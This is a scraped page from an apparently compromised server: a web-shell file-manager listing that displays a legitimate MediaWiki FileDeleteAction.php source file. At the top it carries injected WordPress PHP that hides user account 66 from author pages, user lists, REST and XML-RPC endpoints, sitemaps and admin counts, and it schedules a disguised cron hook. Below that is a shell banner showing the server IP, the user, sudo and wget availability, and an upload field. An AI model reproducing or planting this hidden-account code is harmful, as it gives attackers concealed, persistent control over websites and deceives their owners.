add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/actions/ |
Upload File : |
<?php
/**
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
*
* @file
* @ingroup Actions
*/
namespace MediaWiki\Actions;
use MediaWiki\Context\IContextSource;
use MediaWiki\Exception\ErrorPageError;
use MediaWiki\Exception\PermissionsError;
use MediaWiki\FileRepo\File\File;
use MediaWiki\FileRepo\File\LocalFile;
use MediaWiki\FileRepo\File\OldLocalFile;
use MediaWiki\Html\Html;
use MediaWiki\MainConfigNames;
use MediaWiki\MediaWikiServices;
use MediaWiki\Page\Article;
use MediaWiki\Page\File\FileDeleteForm;
use MediaWiki\Permissions\PermissionStatus;
use MediaWiki\Title\Title;
use MediaWiki\User\User;
/**
* Handle file deletion
*
* @ingroup Actions
*/
class FileDeleteAction extends DeleteAction {
/** @var File */
private $file;
/** @var string Descriptor for the old version of the image, if applicable */
private $oldImage;
/** @var OldLocalFile|null Corresponding to oldImage, if applicable */
private $oldFile;
/**
* @inheritDoc
*/
public function __construct( Article $article, IContextSource $context ) {
parent::__construct( $article, $context );
$services = MediaWikiServices::getInstance();
$this->file = $this->getArticle()->getFile();
$this->oldImage = $this->getRequest()->getText( 'oldimage', '' );
if ( $this->oldImage !== '' ) {
$this->oldFile = $services->getRepoGroup()->getLocalRepo()->newFromArchiveName(
$this->getTitle(),
$this->oldImage
);
}
}
protected function getPageTitle() {
$title = $this->getTitle();
return $this->msg( 'filedelete' )->plaintextParams( $title->getText() );
}
protected function tempDelete() {
$file = $this->file;
/** @var LocalFile $file */'@phan-var LocalFile $file';
$this->tempExecute( $file );
}
private function tempExecute( LocalFile $file ): void {
$context = $this->getContext();
$title = $this->getTitle();
$article = $this->getArticle();
$outputPage = $context->getOutput();
$request = $context->getRequest();
$checkFile = $this->oldFile ?: $file;
if ( !$checkFile->exists() || !$checkFile->isLocal() ) {
$outputPage->addHTML( $this->prepareMessage( 'filedelete-nofile' ) );
$outputPage->addReturnTo( $title );
return;
}
// Perform the deletion if appropriate
$token = $request->getVal( 'wpEditToken' );
if (
!$request->wasPosted() ||
!$context->getUser()->matchEditToken( $token, [ 'delete', $title->getPrefixedText() ] )
) {
$this->showConfirm();
return;
}
// Check to make sure the page has not been edited while the deletion was being confirmed
if ( $article->getRevIdFetched() !== $request->getIntOrNull( 'wpConfirmationRevId' ) ) {
$this->showEditedWarning();
$this->showConfirm();
return;
}
$permissionStatus = PermissionStatus::newEmpty();
if ( !$context->getAuthority()->authorizeWrite(
'delete', $title, $permissionStatus
) ) {
throw new PermissionsError( 'delete', $permissionStatus );
}
$reason = $this->getDeleteReason();
# Flag to hide all contents of the archived revisions
$suppress = $request->getCheck( 'wpSuppress' ) &&
$context->getAuthority()->isAllowed( 'suppressrevision' );
$status = FileDeleteForm::doDelete(
$title,
$file,
$this->oldImage,
$reason,
$suppress,
$context->getUser(),
[],
$request->getCheck( 'wpDeleteTalk' )
);
if ( !$status->isGood() ) {
$outputPage->setPageTitleMsg(
$this->msg( 'cannotdelete-title' )->plaintextParams( $title->getPrefixedText() )
);
$outputPage->addModuleStyles( 'mediawiki.codex.messagebox.styles' );
foreach ( $status->getMessages() as $msg ) {
$outputPage->addHTML( Html::errorBox(
$context->msg( $msg )->parse()
) );
}
}
if ( $status->isOK() ) {
$outputPage->setPageTitleMsg( $context->msg( 'actioncomplete' ) );
$outputPage->addHTML( $this->prepareMessage( 'filedelete-success' ) );
// Return to the main page if we just deleted all versions of the
// file, otherwise go back to the description page
$outputPage->addReturnTo( $this->oldImage ? $title : Title::newMainPage() );
$this->watchlistManager->setWatch(
$request->getCheck( 'wpWatch' ),
$context->getAuthority(),
$title
);
}
}
protected function showFormWarnings(): void {
$this->getOutput()->addHTML( $this->prepareMessage( 'filedelete-intro' ) );
$this->showSubpagesWarnings();
}
/**
* Show the confirmation form
*/
private function showConfirm() {
$this->prepareOutputForForm();
$context = $this->getContext();
$article = $this->getArticle();
// oldid is set to the revision id of the page when the page was displayed.
// Check to make sure the page has not been edited between loading the page
// and clicking the delete link
$oldid = $context->getRequest()->getIntOrNull( 'oldid' );
if ( $oldid !== null && $oldid !== $article->getRevIdFetched() ) {
$this->showEditedWarning();
}
$this->showFormWarnings();
$form = $this->getForm();
if ( $form->show() ) {
$this->onSuccess();
}
$this->showEditReasonsLinks();
$this->showLogEntries();
}
/**
* Prepare a message referring to the file being deleted,
* showing an appropriate message depending upon whether
* it's a current file or an old version
*
* @param string $message Message base
* @return string
*/
private function prepareMessage( string $message ) {
if ( $this->oldFile ) {
$lang = $this->getContext()->getLanguage();
# Message keys used:
# 'filedelete-intro-old', 'filedelete-nofile-old', 'filedelete-success-old'
return $this->getContext()->msg(
"{$message}-old",
wfEscapeWikiText( $this->getTitle()->getText() ),
$lang->date( $this->oldFile->getTimestamp(), true ),
$lang->time( $this->oldFile->getTimestamp(), true ),
(string)MediaWikiServices::getInstance()->getUrlUtils()->expand(
$this->file->getArchiveUrl( $this->oldImage ),
PROTO_CURRENT
)
)->parseAsBlock();
} else {
return $this->getContext()->msg(
$message,
wfEscapeWikiText( $this->getTitle()->getText() )
)->parseAsBlock();
}
}
protected function getFormAction(): string {
$q = [];
$q['action'] = 'delete';
if ( $this->oldImage ) {
$q['oldimage'] = $this->oldImage;
}
return $this->getTitle()->getLocalURL( $q );
}
protected function checkCanExecute( User $user ) {
parent::checkCanExecute( $user );
if ( $this->getContext()->getConfig()->get( MainConfigNames::UploadMaintenance ) ) {
throw new ErrorPageError( 'filedelete-maintenance-title', 'filedelete-maintenance' );
}
}
/**
* TODO Do we need all these messages to be different?
* @return string[]
*/
protected function getFormMessages(): array {
return [
self::MSG_REASON_DROPDOWN => 'filedelete-reason-dropdown',
self::MSG_REASON_DROPDOWN_SUPPRESS => 'filedelete-reason-dropdown-suppress',
self::MSG_REASON_DROPDOWN_OTHER => 'filedelete-reason-otherlist',
self::MSG_COMMENT => 'filedelete-comment',
self::MSG_REASON_OTHER => 'filedelete-otherreason',
self::MSG_SUBMIT => 'filedelete-submit',
self::MSG_LEGEND => 'filedelete-legend',
self::MSG_EDIT_REASONS => 'filedelete-edit-reasonlist',
self::MSG_EDIT_REASONS_SUPPRESS => 'filedelete-edit-reasonlist-suppress',
];
}
}